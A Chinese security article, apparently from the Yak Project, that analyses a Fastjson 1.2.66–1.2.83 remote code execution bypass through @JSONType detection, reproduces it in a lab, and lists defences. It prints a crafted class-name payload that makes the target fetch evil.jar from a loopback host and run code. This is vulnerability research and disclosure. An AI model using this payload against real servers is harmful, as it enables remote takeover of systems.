使用Memfit复现最新的Fastjson远程代码执行漏洞"

admin 2026-10-21 12:56:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

使用Memfit复现最新的Fastjson远程代码执行漏洞

原创

YAK
YAK

Yak Project

2026年7月21日 19:51
湖南

在小说阅读器读本章

去阅读

一、漏洞背景

Fastjson 是阿里巴巴集团开源的高性能 JSON 处理库,用于 Java 环境下的 JSON 序列化与反序列化。项目最初托管于 GitHub(alibaba/fastjson),后迁移至 alibaba/fastjson2,曾是 Java 生态中应用最广泛的 JSON 库之一。

  • 开发方:阿里巴巴(Alibaba)
  • 编程语言:Java
  • 开源协议:Apache 2.0
  • 主要功能:Java 对象与 JSON 数据的相互转换

Fastjson 最著名的安全问题源于其 autoType 特性:

  • autoType 允许 JSON 中通过 @type 字段指定反序列化的目标 Java 类,框架会动态加载并实例化该类。
  • 该设计初衷是实现多态对象的序列化还原,但同时也打开了任意类加载的攻击面。
  • 攻击者可构造恶意 JSON 数据,触发 JNDI 注入、TemplatesImpl 加载字节码、JdbcRowSetImpl 等 gadget,进而实现远程代码执行(RCE)。

二、漏洞版本时间线

Fastjson 1.x 围绕 autoType 进行了长期的攻防博弈,从早期默认开启 autoType 到引入黑名单、校验 hash,再到 SafeMode。本项目复现的是 1.x 末版的 @JSONType 旁路:

  • @JSONType 探测路径在 fastjson 1.2.66 引入,用于兼容带 @JSONType 注解的业务类多态还原。
  • 该探测作为 autoType 之外的\"信任通道\",不检查 autoType 开关、不走黑名单 hash 门。
  • 这条旁路在 1.2.66 ~ 1.2.83 全程存在。
  • 1.2.83 是 fastjson 1.x 的最后一个 Tag,项目此后进入 Archived 状态,安全演进在 fastjson2 上继续。

打开 fastjson 的 GitHub 项目可以看到项目目前已进入 Archived 状态,最新 Tag 版本为 1.2.83:

打开MavenRepo注意到fastjson最新1.2.x版本停留在1.2.83

三、利用链分析

本次复现的漏洞走的是 @JSONType 信任旁路,与传统的 JNDI / TemplatesImpl gadget 链不同,它不依赖任何已知 gadget 类,而是直接让 fastjson 的探测逻辑把\"类名\"还原成 jar:http:// 远程类加载 URL。整条链可拆为以下阶段:

YAK

1.前置条件

这条链需要三个前置条件同时成立:

1.fastjson 1.2.66 ~ 1.2.83;

2.ParserConfig.defaultClassLoader 被设为一个 jar-URL-aware 的 ClassLoader——本实验用的是 Spring Boot 的 LaunchedURLClassLoader,它的 getResourceAsStream 会把 jar:http://...!/...class 当真实嵌套 jar URL 处理并发起 HTTP 请求;

3.目标环境应该是JDK 8因为JDK 9+ 的 defineClass 会拒绝 jar:http://...!/Exploit 这种非法内部类名,RCE降级成 SSRF。

靶机里的 LaunchedClassLoaderInitializer 通过反射构造 LaunchedURLClassLoader 并 setDefaultClassLoader,镜像了真实场景中\"应用主动把 jar-URL-aware loader 设给 fastjson\"的触发条件。

YAK

2. @JSONType 探测(信任旁路)

ParserConfig.checkAutoType 在走 autoType 主路前,先执行一段 @JSONType 探测:假设\"被标注 @JSONType 的类是受信任的业务类\",对其放行。这段逻辑 不检查 autoType 开关、不走黑名单 hash 检查,是独立于 autoType 的信任通道:

java


String resource = typeName.replace('.', '/') + \".class\";InputStream is = defaultClassLoader.getResourceAsStream(resource);// 命中 @JSONType -> TypeUtils.loadClass(typeName, defaultClassLoader, true)


YAK

3.URL 还原

Payload 里的\"类名\"是 jar:http:..2130706433:18080.evil!.Exploit。经过 typeName.replace('.', '/') 还原后:

text


jar:http:..2130706433:18080.evil!.Exploit  →  jar:http://2130706433:18080/evil!/Exploit.class


两个关键技巧:

  • .. → //:攻击者把 URL 中的 // 用两个点替代写进\"类名\",靠 fastjson 自己的 replace 把 URL 拼回来。
  • 2130706433:这是 127.0.0.1 的十进制整数形式。点状 IP 会被替换成 127/0/0/1 直接废掉,整数形式没有点,原样穿过替换并在 HTTP 层解析为回环地址。\"整数形式 IP 字面量\"是该漏洞的强信号特征之一。

YAK

4.SSRF + 远程类加载

getResourceAsStream 还原出 jar:``http://2130706433:18080/evil!/Exploit.class 后,LaunchedURLClassLoader 对 http://127.0.0.1:18080/evil 发起 HTTP GET,获取攻击者投放的 evil.jar。到这一步 SSRF 已成立。

YAK

5.defineClass + (RCE 落地)

探测命中后,fastjson 调 loadClass → defineClass:

  • evil.jar 中 Exploit.class 的字节码内部名被刻意写成 jar:``http://2130706433:18080/evil!/Exploit(Java 源码无法表达,用 ASM 直接指定);
  • 类带 runtime-visible @JSONType 注解,满足探测信任条件;
  • <clinit> 内为恶意代码(Runtime.exec)。

JDK 8 verifier 宽松接受该内部名 → defineClass 成功 → 类初始化触发 <clinit> → RCE。

四、使用Memfit复现漏洞

打开Memfit,选择包含漏洞通报的文件夹然后让Memfit自行复现。使用yolo托管模式。这里我们使用glm-5.2模型进行复现。

在开始运行后通过观察任务执行详情,在无人工介入的情况下Memfit完成了漏洞复现任务。

并在执行完成后生成了Risk信息。

五、使用Yakit复现

六、防御措施

防御措施 对应代码 效果
开 SafeMode ParserConfig.java:1329前援 在所有检查前抛异常,链直接断
升级fastjson2 ParserConfig.java:1479-1502整段 fastjson2 移除/加固此探测路径
升级JDK9+ JVM defineClass 拒绝非法内部名,断在SSRF,不落地RCE

END

YAK官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download\_and\_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ


使用Memfit复现最新的Fastjson远程代码执行漏洞" 网络安全文章

使用Memfit复现最新的Fastjson远程代码执行漏洞"

本文分析了Fastjson1.2.66-1.2.83版本中@JSONType信任旁路漏洞的利用链,攻击者通过构造特殊类名触发远程类加载实现RCE。关键前置条件包括特定ClassLoader和JDK8环境。防御措施包括开启SafeMode、升级fastjson2或JDK9+。文章还介绍了使用Memfit和Yakit工具复现漏洞的方法。
【已复现】Fastjson1.2.83远程代码执行漏洞(QVD-2026-43021)安全风险通告第二次更新" 网络安全文章

【已复现】Fastjson1.2.83远程代码执行漏洞(QVD-2026-43021)安全风险通告第二次更新"

奇安信CERT发布Fastjson1.2.83远程代码执行漏洞(QVD-2026-43021)安全通告,该漏洞影响百万级实例,CVSS评分9.8,攻击者可构造恶意JSON请求实现远程代码执行。漏洞利用需满足特定条件如使用SpringBootfat-jar和JDK8。建议升级至Fastjson2.x或启用SafeMode模式缓解风险,奇安信产品已支持检测。
从生成到交付,音视频Agent要有生产级开发套件" 网络安全文章

从生成到交付,音视频Agent要有生产级开发套件"

本文介绍火山引擎面向音视频Agent的开发套件AIMediaKit。它将视频理解、剪辑与转码封装为统一底座,跨越内容结构化、自动化处理及高规格交付三道门槛。视频云竞争已转向生产链路系统之争,建议开发者利用该基础设施降低集成成本,将重心聚焦于场景定义与工作流设计。
评论:0   参与:  0